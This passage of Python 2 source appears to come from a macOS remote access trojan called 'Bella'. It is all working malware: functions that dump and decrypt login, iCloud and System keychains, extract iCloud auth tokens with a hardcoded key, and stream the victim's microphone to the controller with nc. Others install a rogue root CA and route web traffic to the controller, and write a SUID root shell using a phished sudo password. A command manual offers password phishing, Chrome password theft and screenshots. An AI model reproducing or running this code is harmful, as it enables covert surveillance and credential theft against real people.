(GSM)', 'iPhone3,2': 'iPhone 4 (CDMA)', 'iPhone4,1': 'iPhone 4s', 'iPhone5,1': 'iPhone 5 (GSM)', 'iPhone5,2': 'iPhone 5 (CDMA)', 'iPhone5,3': 'iPhone 5c', 'iPhone6,2': 'iPhone 5s (UK)', 'iPhone7,1': 'iPhone 6 Plus', 'iPhone8,1': 'iPhone 6s', 'iPhone8,2': 'iPhone 6s Plus', 'iPhone6,1': 'iPhone 5s', 'iPhone7,2': 'iPhone 6'} 807 | try: 808 | iPhone_type = productTypes[x["productType"]] 809 | except: 810 | iPhone_type = x["productType"] 811 | send_msg("\t[%s] %s %s | Size is %s.%s GB | Model: %s\n" % (i, x["name"], x["lastModifiedLocalized"], str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4], iPhone_type), False) 812 | except Exception, e: 813 | send_msg("Error checking backups.\n%s\n" % str(e), False) 814 | 815 | if len(tokens[0]) > 1: 816 | send_msg("%sTokens!%s\n" % (underline, endANSI), False) 817 | send_msg("\tMMeAuth: %s%s%s\n" % (blue, tokens[0][0], endANSI), False) 818 | send_msg("\tCloud Kit: %s%s%s\n" % (red, tokens[0][1], endANSI), False) 819 | send_msg("\tFMF App: %s%s%s\n" % (yellow, tokens[0][2], endANSI), False) 820 | send_msg("\tFMiP: %s%s%s\n" % (green, tokens[0][3], endANSI), False) 821 | send_msg("\tFMF: %s%s%s\n" % (violet, tokens[0][4], endANSI), False) 822 | send_msg('', True) 823 | return 824 | 825 | def insomnia_load(): 826 | if "book" in get_model().lower(): 827 | if is_there_SUID_shell(): 828 | gen = payload_generator(readDB('insomnia', True)) #will return b64 zip 829 | payload_tmp_path = '/'.join(gen.split('/')[:-1]) 830 | do_root('unzip %s -d %s' % (gen, payload_tmp_path)) 831 | (success, msg) = do_root("chown -R 0:0 %s/Insomnia.kext/" % payload_tmp_path) 832 | if not success: 833 | return "%sError changing kext ownership to root.\n%s" % (red_minus, msg) 834 | (success, msg) = do_root("kextload %s/Insomnia.kext/" % payload_tmp_path) 835 | if not success: 836 | return "%sError loading kext.\n%s" % (red_minus, msg) 837 | return "%sInsomnia successfully loaded.\n" % greenPlus 838 | return "%sYou need a root shell to load Insomnia.\n" % red_minus 839 | else: 840 | return "%sInsomnia does not work on non-MacBooks.\n" % blue_star 841 | 842 | def insomnia_unload(): 843 | if "book" in get_model() or "Book" in get_model(): 844 | if is_there_SUID_shell(): 845 | (success, msg) = do_root("kextunload -b net.semaja2.kext.insomnia") 846 | if not success: 847 | return "%sError unloading kext.\n%s" % (red_minus, msg) 848 | return "%sInsomnia successfully unloaded.\n" % greenPlus 849 | return "%sYou need a root shell to load Insomnia.\n" % red_minus 850 | else: 851 | return "%sInsomnia does not work on non-MacBooks.\n" % blue_star 852 | 853 | def resetUIDandName(): #if we are root we want to update the variable accordingly 854 | global bella_user, helper_location, bella_UID 855 | if os.getuid() == 0: 856 | bella_user = cur_GUI_user() 857 | bella_UID = pwd.getpwnam(bella_user).pw_uid 858 | helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/' 859 | return 860 | 861 | def initialize_socket(): 862 | basicInfo = '' 863 | resetUIDandName() 864 | os.chdir(os.path.expanduser('~')) 865 | 866 | if not check_if_payloads(): 867 | print 'requesting payloads' 868 | return 'payload_request_SBJ129' #request our payloads 869 | 870 | if readDB('lastLogin') == False: #if it hasnt been set 871 | updateDB('Never', 'lastLogin') 872 | 873 | if not isinstance(get_model(), str): #if no model, put it in 874 | output = check_output("sysctl hw.model") 875 | if output[0]: 876 | modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "") 877 | output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw) 878 | if not output[0]: 879 | model = 'Macintosh' 880 | else: 881 | model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space. 882 | updateDB(model, 'model') 883 | 884 | if os.getuid() == 0: 885 | basicInfo = 'ROOTED\n' 886 | 887 | output = check_output('scutil --get LocalHostName; echo %s; pwd; echo %s' % (get_bella_user(), readDB('lastLogin'))) 888 | if output[0]: 889 | basicInfo += output[1] 890 | else: 891 | return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1] 892 | 893 | output = check_output('ps -p %s -o etime=' % bellaPID) 894 | if output[0]: 895 | basicInfo += output[1] 896 | else: 897 | return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1] 898 | 899 | updateDB(time.strftime("%a, %b %e %Y at %I:%M:%S %p"), 'lastLogin') 900 | return basicInfo 901 | 902 | def iTunes_backup_looker(): 903 | backupPath = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/Info.plist") 904 | if len(backupPath) > 0: 905 | backups = True 906 | returnable = "%sLooking for backups! %s\n" % (blue_star, blue_star) 907 | for z, y in enumerate(backupPath): 908 | returnable += "\n----- Device " + str(z + 1) + " -----\n\n" 909 | returnable += "Product Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Name\"' '%s'" % y).read().replace("\n", "") 910 | returnable += "Product Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Version\"' '%s'" % y).read().replace("\n", "") 911 | returnable += "Last Backup Date: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Last Backup Date\"' '%s'" % y).read().replace("\n", "") 912 | returnable += "Device Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Device Name\"' '%s'" % y).read().replace("\n", "") 913 | returnable += "Phone Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Phone Number\"' '%s'" % y).read().replace("\n", "") 914 | returnable += "Serial Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Serial Number\"' '%s'" % y).read().replace("\n", "") 915 | returnable += "IMEI/MEID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"IMEI\"' '%s'" % y).read().replace("\n", "") 916 | returnable += "UDID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Target Identifier\"' '%s'" % y).read().replace("\n", "") 917 | returnable += "iTunes Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"iTunes Version\"' '%s'" % y).read().replace("\n", "") 918 | #iTunesBackupString += "Installed Apps: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Installed Applications\"' '%s'" % y).read().replace("\n", "") 919 | else: 920 | backups = False 921 | returnable = "%sNo local backups found %s\n" % (blue_star, blue_star) 922 | return (returnable, backups, len(backupPath)) 923 | 924 | def kill_pid(pid): 925 | try: 926 | os.kill(pid, 9) 927 | return True 928 | except OSError, e: 929 | return False 930 | 931 | def keychain_download(): 932 | try: 933 | returnVal = [] 934 | for x in globber("/Users/*/Library/Keychains/login.keychain*"): 935 | #with open(x, 'rb') as content: 936 | content = protected_file_reader(x) #will return us permission acceptable file info 937 | user = x.split("/")[2] 938 | returnVal.append(pickle.dumps(['%s_login.keychain' % user, content])) 939 | 940 | for iCloudKey in globber("/Users/*/Library/Keychains/*/keychain-2.db"): 941 | iCloudZip = StringIO.StringIO() 942 | joiner = '/'.join(iCloudKey.split("/")[:-1]) 943 | for files in protected_file_lister(joiner): 944 | with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped: 945 | subFile = os.path.join(joiner, files) 946 | content = protected_file_reader(subFile) 947 | zipped.writestr(files, content) 948 | with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped: 949 | zipped.writestr(joiner.split("/")[-1], 'Keychain UUID') 950 | returnVal.append(pickle.dumps(["%s_iCloudKeychain.zip" % iCloudKey.split("/")[2], iCloudZip.getvalue()])) 951 | if is_there_SUID_shell(): 952 | keys = protected_file_reader("/Library/Keychains/System.keychain") 953 | returnVal.append(pickle.dumps(["System.keychain", keys])) 954 | return 'keychain_download' + pickle.dumps(returnVal) 955 | except Exception, e: 956 | return (red_minus + "Error reading keychains.\n%s\n") % str(e) 957 | 958 | def manual(): 959 | value = "\n%sChat History%s\nDownload the user's macOS iMessage database.\nUsage: %schat_history%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 960 | value += "\n%sCheck Backups%s\nEnumerate the user's local iOS backups.\nUsage: %scheck_backups%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 961 | value += "\n%sChrome Dump%s\nDecrypt user passwords stored in Google Chrome profiles.\nUsage: %schrome_dump%s\nRequirements: Chrome SS Key [see chrome_safe_storage]\n" % (underline + bold + green, endANSI, bold, endANSI) 962 | value += "\n%sChrome Safe Storage%s\nPrompt the keychain to present the user's Chrome Safe Storage Key.\nUsage: %schrome_safe_storage%s\nRequirements: None\n" % (underline + bold + green, endANSI, bold, endANSI) 963 | value += "\n%sCurrent Users%s\nFind all currently logged in users.\nUsage: %scurrentUsers%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI) 964 | value += "\n%sGet Root%s\nAttempt to escalate Bella to root through a variety of attack vectors.\nUsage: %sget_root%s\nRequirements: None\n" % (underline + bold + red, endANSI, bold, endANSI) 965 | value += "\n%sFind my iPhone%s\nLocate all devices on the user's iCloud account.\nUsage: %siCloud_FMIP%s\nRequirements: iCloud Password [see iCloud_phish]\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 966 | value += "\n%sFind my Friends%s\nLocate all shared devices on the user's iCloud account.\nUsage: %siCloud_FMF%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 967 | value += "\n%siCloud Contacts%s\nGet contacts from the user's iCloud account.\nUsage: %siCloud_contacts%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 968 | value += "\n%siCloud Password Phish%s\nTrick user into verifying their iCloud password through iTunes prompt.\nUsage: %siCloudPhish%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 969 | value += "\n%siCloud Query%s\nGet information about the user's iCloud account.\nUsage: %siCloud_query%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 970 | value += "\n%siCloud Token%s\nPrompt the keychain to present the User's iCloud Authorization Token.\nUsage: %siCloud_token%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 971 | value += "\n%sInsomnia Load%s\nLoads an InsomniaX Kext to prevent laptop from sleeping, even when closed.\nUsage: %sinsomnia_load%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI) 972 | value += "\n%sInsomnia Unload%s\nUnloads an InsomniaX Kext loaded through insomnia_load.\nUsage: %sinsomnia_unload%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI) 973 | value += "\n%sBella Info%s\nExtensively details information about the user and information from the Bella instance.\nUsage: %sbella_info%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI) 974 | value += "\n%sKeychain Download%s\nDownloads all available Keychains, including iCloud, for offline processing.\nUsage: %skeychain_download%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 975 | value += "\n%sMike Stream%s\nStreams the microphone input over a socket.\nUsage: %smike_stream%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 976 | value += "\n%sMITM Start%s\nInjects a Root CA into the System Roots Keychain and redirects all traffic to the CC.\nUsage: %smitm_start%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI) 977 | value += "\n%sMITM Kill%s\nEnds a MITM session started by MITM start.\nUsage: %smitm_kill%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI) 978 | value += "\n%sReboot Server%s\nRestarts a Bella instance.\nUsage: %sreboot_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI) 979 | value += "\n%sSafari History%s\nDownloads user's Safari history in a nice format.\nUsage: %ssafari_history%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI) 980 | value += "\n%sScreenshot%s\nTake a screen shot of the current active desktop.\nUsage: %sscreen_shot%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI) 981 | value += "\n%sShutdown Server%s\nUnloads Bella from launchctl until next reboot.\nUsage: %sshutdown_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI) 982 | value += "\n%sSystem Information%s\nReturns basic information about the system.\nUsage: %ssysinfo%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI) 983 | value += "\n%sUser Pass Phish%s\nWill phish the user for their password with a clever dialog.\nUsage: %suser_pass_phish%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI) 984 | #value += "\n%sInteractive Shell%s\nLoads an interactive reverse shell (bash) to the remote machine.\nUsage: %sinteractiveShell%s\n" % (underline + bold, endANSI, bold, endANSI) 985 | #value += "\n%sKey Start%s\nBegin keylogging in the background.\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI) 986 | #value += "\n%sKey Kill%s\nStop keylogging started through Key Start\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI) 987 | #value += "\n%sKey Read%s\nReads the encrypted key log file from Key Start.\nUsage: %skeyRead%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI) 988 | return value 989 | 990 | def mike_helper(payload_path): 991 | stream_port = 2897 992 | send_msg('%sOpening microphone.\n' % blue_star, False) 993 | pipe = subprocess.Popen('%s' % payload_path, stdout=subprocess.PIPE) 994 | subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'Microphone') #keep track of mikepipe since it never closes, as well as payload path 995 | send_msg('%sOpened microphone [%s].\n' % (blue_star, pipe.pid), False) 996 | send_msg('%sOpening Stream.\n' % blue_star, False) 997 | stream = subprocess.Popen(('nc %s %s' % (host, stream_port)).split(), stdin=pipe.stdout, stdout=subprocess.PIPE) 998 | time.sleep(2) #give a few seconds to terminate if not running ... 999 | #stream.poll will be the exit code if it has exited, otherwise it will be None (so, None if we are connected) 1000 | if stream.poll(): #if None, we are connected, see Else. If an integer, we have crashed. 1001 | send_msg('%sListener could not be reached. Closing microphone.\n' % red_minus, False) 1002 | if kill_pid(pipe.pid): 1003 | send_msg('%sClosed microphone.\n' % blue_star, True) 1004 | else: 1005 | send_msg('%sError closing microphone with PID [%s].\n' % (red_minus, pipe.pid), True) 1006 | else: 1007 | send_msg('%sListener connected, microphone streaming.\n' % greenPlus, True) 1008 | return 0 1009 | 1010 | def mitm_kill(interface, certsha1): 1011 | if not is_there_SUID_shell(): 1012 | return "%sYou must have a root shell to stop MITM. See rooter.\n" % red_minus 1013 | 1014 | x = check_output("networksetup -getsecurewebproxy %s" % interface) 1015 | if not x[0]: 1016 | if x[2] == 8: 1017 | send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True) 1018 | send_msg(x[1], True) 1019 | if "Enabled: No" in x[1]: 1020 | send_msg("%s\033[4mAlready disabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True) 1021 | return 1022 | 1023 | cert = cert_remove(certsha1) 1024 | if 'Error' in cert: 1025 | send_msg('ERROR REMOVING CERTIFICATE FROM KEYCHAIN. YOU SHOULD PERFORM MANUALLY.\n', False) 1026 | send_msg(cert, False) 1027 | 1028 | (success, msg) = do_root("networksetup -setwebproxy %s '' 0" % interface) 1029 | if not success: 1030 | send_msg("%sSetting [%s] HTTP proxy to null failed!\n" % (red_minus, interface), False) 1031 | else: 1032 | send_msg("%sSet [%s] HTTP proxy to null.\n" % (greenPlus, interface), False) 1033 | 1034 | (success, msg) = do_root("networksetup -setsecurewebproxy %s '' 0" % interface) 1035 | if not success: 1036 | send_msg("%sSetting [%s] HTTPS proxy to null failed!\n" % (red_minus, interface), False) 1037 | else: 1038 | send_msg("%sSet [%s] HTTPS proxy to null.\n" % (greenPlus, interface), False) 1039 | 1040 | (success, msg) = do_root("networksetup -setwebproxystate %s off" % interface) 1041 | if not success: 1042 | send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False) 1043 | else: 1044 | send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False) 1045 | 1046 | (success, msg) = do_root("networksetup -setsecurewebproxystate %s off" % interface) 1047 | if not success: 1048 | send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False) 1049 | else: 1050 | send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False) 1051 | 1052 | send_msg('', True) 1053 | return 1 1054 | 1055 | def mitm_start(interface, cert): 1056 | if not is_there_SUID_shell(): 1057 | return "%sYou must have a root shell to start MITM. See rooter.\n" % red_minus 1058 | 1059 | x = check_output("networksetup -getsecurewebproxy %s" % interface) 1060 | if not x[0]: 1061 | if x[2] == 8: 1062 | send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True) 1063 | send_msg(x[1], True) 1064 | if "Enabled: Yes" in x[1]: 1065 | send_msg("%s\033[4mAlready enabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True) 1066 | send_msg('', True) 1067 | return 1068 | 1069 | cert = cert_inject(cert) 1070 | if 'Error' in cert: 1071 | send_msg(cert, True) 1072 | send_msg('', True) 1073 | return 1074 | send_msg(cert, False) 1075 | 1076 | (success, msg) = do_root("networksetup -setwebproxy %s %s 8081" % (interface, host)) 1077 | if not success: 1078 | send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081] failed!\n" % (red_minus, interface, host), True) 1079 | send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081].\n" % (greenPlus, interface, host), False) 1080 | 1081 | (success, msg) = do_root("networksetup -setsecurewebproxy %s %s 8081" % (interface, host)) 1082 | if not success: 1083 | send_msg("%sRedirecting [%s] HTTPS (443) to [%s:8081] failed!\n" % (red_minus, interface, host), True) 1084 | send_msg("%sRedirecting [%s] HTTP (443) to [%s:8081].\n" % (greenPlus, interface, host), False) 1085 | send_msg("mitmReady", True) 1086 | return 1087 | 1088 | def payload_generator(data): 1089 | dirpath = tempfile.mkdtemp() 1090 | with open("%s/americangirl" % dirpath, "wb") as content: 1091 | content.write(data.decode('base64')) 1092 | os.chmod("%s/americangirl" % dirpath, 0777) #set rw execute bits to 7 for ugw 1093 | temp_file_list.append(dirpath) 1094 | return '%s/americangirl' % dirpath 1095 | 1096 | def payload_cleaner(): 1097 | for x in temp_file_list: 1098 | try: 1099 | shutil.rmtree(x) 1100 | #print 'Removed %s' % x 1101 | temp_file_list.remove(x) 1102 | except OSError as e: 1103 | pass 1104 | print e 1105 | return 1106 | 1107 | def chainbreaker(kcpath, key, service): 1108 | kcbreaker = readDB('chainbreaker', True) 1109 | if not kcbreaker: 1110 | return ("%sError reading chainbreaker from DB.\n" % red_minus, False) 1111 | path = payload_generator(kcbreaker) 1112 | try: 1113 | value = (subprocess.check_output("%s -f '%s' -k '%s' -s '%s'" % (path, kcpath, key, service), shell=True).replace('\n', ''), True) 1114 | if '[!] ERROR: ' in value[0]: 1115 | return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, value[0]), False) 1116 | print repr(value[0]) 1117 | if value[0] == '': 1118 | return ("No KC entry for %s." % service, False) 1119 | 1120 | return value 1121 | except Exception as e: 1122 | return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, e), False) 1123 | 1124 | def kciCloudHelper(iCloudKey): 1125 | #this function is tailored to keychaindump. Takes an iCloud key, and returns tokens 1126 | msg = base64.b64decode(iCloudKey) 1127 | key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}" 1128 | hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest() 1129 | hexedKey = binascii.hexlify(hashed) 1130 | IV = 16 * '0' 1131 | mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted 1132 | for x in mme_token_file: 1133 | try: 1134 | int(x.split("/")[-1]) 1135 | mme_token_file = x 1136 | except ValueError: 1137 | continue 1138 | send_msg("\t%sDecrypting token plist\n\t [%s]\n" % (blue_star, mme_token_file), False) 1139 | decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True) 1140 | from Foundation import NSData, NSPropertyListSerialization 1141 | binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary)) 1142 | token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0] 1143 | tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"]) 1144 | tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"]) 1145 | return tokz 1146 | 1147 | def getKeychains(): 1148 | send_msg("%sFound the following keychains for [%s]:\n" % (yellow_star, get_bella_user()), False) 1149 | kchains = glob("/Users/%s/Library/Keychains/login.keychain*" % get_bella_user()) 1150 | for x in kchains: 1151 | send_msg("\t[%s]\n" % x, False) 1152 | if len(kchains) == 0: 1153 | send_msg("%sNo Keychains found for [%s].\n" % (yellow_star, get_bella_user()), True) 1154 | return 1155 | kchain = kchains[-1] 1156 | for x in kchains: 1157 | if x.endswith('-db'): 1158 | kchain = x 1159 | return kchain 1160 | 1161 | def bella_info(): 1162 | mainString = "" 1163 | send_msg("%sGathering system information.\n" % yellow_star, False) 1164 | systemVersion = str(platform.mac_ver()[0]) 1165 | send_msg("%sSystem version is %s.\n" % (blue_star, systemVersion), False) 1166 | send_msg("%sShell location: [%s].\n" % (blue_star, get_bella_path()), False) 1167 | send_msg(blue_star + get_model(), False) 1168 | try: 1169 | battery = subprocess.check_output("pmset -g batt", shell=True).decode('utf-8', 'replace').split('\t')[1].split(";") 1170 | charging = battery[1].replace(" ", "") 1171 | percentage = battery[0] 1172 | if charging == "charging": 1173 | send_msg("%sBattery: %s [Charging]\n" % (blue_star, percentage), False) 1174 | else: 1175 | send_msg("%sBattery: %s [Discharging]\n" % (blue_star, percentage), False) 1176 | except: 1177 | pass 1178 | 1179 | if not systemVersion.startswith("10.12"): 1180 | if systemVersion == "10.11.1" or systemVersion == "10.11.2" or systemVersion == "10.11.3" or not systemVersion.startswith("10.11"): 1181 | if is_there_SUID_shell(): #normal user. 1182 | send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False) 1183 | else: 1184 | send_msg("%sPrivilege escalation is possible!\n" % blue_star, False) #LPA possible, no need to display sudoers access info.. right? 1185 | else: 1186 | if os.getuid() == 0: 1187 | send_msg("%sBella is running as root.\n" % greenPlus, False) 1188 | elif is_there_SUID_shell(): 1189 | send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False) 1190 | else: 1191 | send_msg("%sNo root access via SUID shell.\n" % red_minus, False) 1192 | 1193 | filevault = check_output("fdesetup status") 1194 | if filevault[0]: 1195 | if "On" in filevault[1]: 1196 | send_msg(red_minus + filevault[1], False) 1197 | else: 1198 | send_msg(greenPlus + filevault[1], False) 1199 | 1200 | if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"): 1201 | csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True) 1202 | (out, err) = csrutil.communicate() 1203 | if "disabled" in out: 1204 | send_msg(greenPlus + out, False) 1205 | sipEnabled = False #SIP function exists, but is specifically and intentionally disabled! (enterprise environments likely have this config) 1206 | if "enabled" in out: 1207 | send_msg(red_minus + out, False) 1208 | sipEnabled = True 1209 | else: 1210 | sipEnabled = False 1211 | 1212 | if not sipEnabled: #sipDisabled allows us to check like .1% of cases where user is on El Cap and has opted out of SIP 1213 | if is_there_SUID_shell(): 1214 | kcpayload = readDB('keychaindump', True) 1215 | if not kcpayload: 1216 | send_msg("%sError reading KCDump payload from Bella Database.\n" % red_minus, False) 1217 | else: 1218 | kcpath = payload_generator(kcpayload) 1219 | kchain = getKeychains() 1220 | (success, msg) = do_root("%s '%s' | grep 'Found master key:'" % (kcpath, kchain)) # ??? Why doesnt this work for tim? 1221 | if success: 1222 | send_msg(" Login keychain master key found for [%s]:\n\t[%s]\n" % (kchain.split("/")[-1], msg.replace("[+] Found master key: ", "").replace("\n", "")), False) 1223 | if not readDB('mme_token'): 1224 | send_msg("\t%sAttempting to generate iCloud Auth Keys.\n" % blue_star, False) 1225 | iCloud = chainbreaker(kchain, msg.replace("[+] Found master key: ", "").replace("\n", ""), 'iCloud') 1226 | send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False) 1227 | if iCloud[1]: 1228 | send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False) 1229 | decrypted = kciCloudHelper(iCloud[0]) 1230 | if not decrypted: 1231 | send_msg("\t%sError getting decrypted MMeAuthTokens with this key.\n" % red_minus, False) 1232 | else: 1233 | send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False) 1234 | updateDB(encrypt(decrypted), 'mme_token') 1235 | send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False) 1236 | if not readDB('chromeSS'): 1237 | send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False) 1238 | chrome = chainbreaker(kchain, msg.replace("[+] Found master key: ", "").replace("\n", ""), 'Chrome Safe Storage') 1239 | send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False) 1240 | if chrome[1]: 1241 | send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False) 1242 | updateDB(encrypt(chrome[0]), 'chromeSS') 1243 | send_msg("\t%sUpdated DB.\n" % greenPlus, False) 1244 | else: 1245 | send_msg("%sError finding %slogin%s master key for user [%s].\n\t%s\n" % (red_minus, bold, endANSI, get_bella_user(), msg), False) 1246 | (success, msg) = do_root("%s '/Library/Keychains/System.keychain' | grep 'Found master key:'" % kcpath) 1247 | if success: 1248 | msg = msg.replace("[+] Found master key: ", "").replace("\n", "") 1249 | if msg != '': 1250 | send_msg("%sSystem keychain master key found:\n [%s]\n" % (greenPlus, msg), False) 1251 | else: 1252 | send_msg("%sCould not find %sSystem%s master key.\n" % (red_minus, bold, endANSI), False) 1253 | payload_cleaner() 1254 | 1255 | iTunesSearch = get_iTunes_accounts() 1256 | 1257 | for x in iTunesSearch: 1258 | if x[0]: 1259 | send_msg("%siCloud account present [%s:%s]\n" % (greenPlus, x[2], x[1]), False) 1260 | else: 1261 | send_msg(red_minus + x[1], False) 1262 | 1263 | iOSbackups = iTunes_backup_looker() 1264 | 1265 | if iOSbackups[1]: 1266 | send_msg("%siOS backups are present and ready to be processed. [%s]\n" % (greenPlus, iOSbackups[2]), False) 1267 | else: 1268 | send_msg("%sNo iOS backups are present.\n" % red_minus, False) 1269 | 1270 | if os.access('/var/db/lockdown', os.X_OK): #if we can execute this path 1271 | send_msg("%siOS lockdown files are present. [%s]\n" % (greenPlus, len(os.listdir("/var/db/lockdown")) - 1), False) 1272 | 1273 | checkToken = tokenRead() 1274 | if isinstance(checkToken, str): 1275 | send_msg("%siCloud AuthToken: %s\n\t[%s]\n" % (yellow_star, checkToken.split('\n')[0], checkToken.split('\n')[1]), False) 1276 | 1277 | checkChrome = chromeSSRead() 1278 | if isinstance(checkChrome, str): 1279 | send_msg("%sGoogle Chrome Safe Storage Key: \n\t[%s]\n" % (yellow_star, checkChrome), False) 1280 | 1281 | checkLP = local_pw_read() 1282 | if isinstance(checkLP, str): 1283 | send_msg("%s%s's local account password is available.\n" % (yellow_star, checkLP.split(':')[0]), False) #get username 1284 | 1285 | checkAP = applepwRead() 1286 | if isinstance(checkAP, str): 1287 | send_msg("%s%s's iCloud account password is available.\n" % (yellow_star, checkAP.split(':')[0]), False) 1288 | send_msg('', True) 1289 | return 1 1290 | 1291 | def recv_msg(sock): 1292 | raw_msglen = recvaux(sock, 4, True) #get first four bytes of message, will be enough to represent length. 1293 | if not raw_msglen: 1294 | return None 1295 | msglen = struct.unpack('>I', raw_msglen)[0] #convert this length into 1296 | return recvaux(sock, msglen, False) 1297 | 1298 | def recvaux(sock, n, length): 1299 | if length: 1300 | return sock.recv(4) # send over first 4 bytes of socket .... 1301 | data = '' 1302 | while len(data) < n: 1303 | packet = sock.recv(n - len(data)) 1304 | if not packet: 1305 | return None 1306 | data += packet 1307 | return pickle.loads(data) #convert from serialized into normal. 1308 | 1309 | def make_SUID_root_binary(password, LPEpath): 1310 | root_shell = readDB("root_shell", True) 1311 | with open("/usr/local/roots", "w") as content: 1312 | content.write(root_shell.decode('base64')) 1313 | if not LPEpath: #use password 1314 | (username, password) = password.split(':') 1315 | try: 1316 | subprocess.check_output("echo %s | sudo -S ls" % password, shell=True) #this will return no error if successfull 1317 | except Exception as e: 1318 | return (False, "%sUser's local password does not give us sudo access!\n" % red_minus) 1319 | try: 1320 | subprocess.check_output("echo %s | sudo -S chown 0:0 /usr/local/roots; echo %s | sudo -S chmod 4777 /usr/local/roots" % (password, password), shell=True) #perform setUID on shell 1321 | except Exception as e: 1322 | return (False, "%sUser's local password gives us sudo access!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e)) 1323 | return (True, "%sUser's local password gives us sudo access!\n%sSUID root file written to /usr/local/roots!\n" % (blue_star, greenPlus)) 1324 | else: 1325 | #LPEpath should be a path to an interactive root shell (thinking mach race) 1326 | #### IF THIS LINE IS STILL HERE, THEN THIS MACH RACE / LPE DOES NOT WORK. Code needs to be added to actually 